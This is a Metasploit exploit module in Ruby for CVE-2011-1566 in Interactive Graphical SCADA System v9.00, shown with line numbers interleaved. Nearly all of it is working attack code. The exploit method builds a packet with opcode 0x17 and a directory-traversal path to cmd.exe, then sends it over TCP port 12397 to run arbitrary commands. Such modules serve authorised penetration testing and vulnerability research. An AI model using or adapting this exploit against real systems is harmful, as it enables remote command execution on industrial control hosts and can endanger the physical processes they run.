1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::Tcp
10

11
  def initialize(info = {})
12
    super(
13
      update_info(
14
        info,
15
        'Name' => 'Interactive Graphical SCADA System Remote Command Injection',
16
        'Description' => %q{
17
          This module abuses a directory traversal flaw in Interactive
18
          Graphical SCADA System v9.00. In conjunction with the traversal
19
          flaw, if opcode 0x17 is sent to the dc.exe process, an attacker
20
          may be able to execute arbitrary system commands.
21
        },
22
        'Author' => [
23
          'Luigi Auriemma',
24
          'MC'
25
        ],
26
        'License' => MSF_LICENSE,
27
        'References' => [
28
          [ 'CVE', '2011-1566'],
29
          [ 'OSVDB', '72349'],
30
          [ 'URL', 'http://aluigi.org/adv/igss_8-adv.txt' ],
31
        ],
32
        'Platform' => 'win',
33
        'Arch' => ARCH_CMD,
34
        'Payload' => {
35
          'Space' => 153,
36
          'DisableNops' => true
37
        },
38
        'Targets' => [
39
          [ 'Windows', {} ]
40
        ],
41
        'DefaultTarget' => 0,
42
        'Privileged' => false,
43
        'DisclosureDate' => '2011-03-21',
44
        'Notes' => {
45
          'Reliability' => UNKNOWN_RELIABILITY,
46
          'Stability' => UNKNOWN_STABILITY,
47
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
48
        }
49
      )
50
    )
51

52
    register_options(
53
      [
54
        Opt::RPORT(12397)
55
      ]
56
    )
57
  end
58

59
  def exploit
60
    print_status("Sending exploit packet...")
61

62
    connect
63

64
    packet = [0x00000100].pack('V') + [0x00000000].pack('V')
65
    packet << [0x00000100].pack('V') + [0x00000017].pack('V')
66
    packet << [0x00000000].pack('V') + [0x00000000].pack('V')
67
    packet << [0x00000000].pack('V') + [0x00000000].pack('V')
68
    packet << [0x00000000].pack('V') + [0x00000000].pack('V')
69
    packet << [0x00000000].pack('V')
70
    packet << "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\"
71
    packet << "windows\\system32\\cmd.exe\" /c #{payload.encoded}"
72
    packet << "\x00" * (143)
73

74
    sock.put(packet)
75
    sock.get_once(-1, 0.5)
76
    disconnect
77
  end
78
end
79

80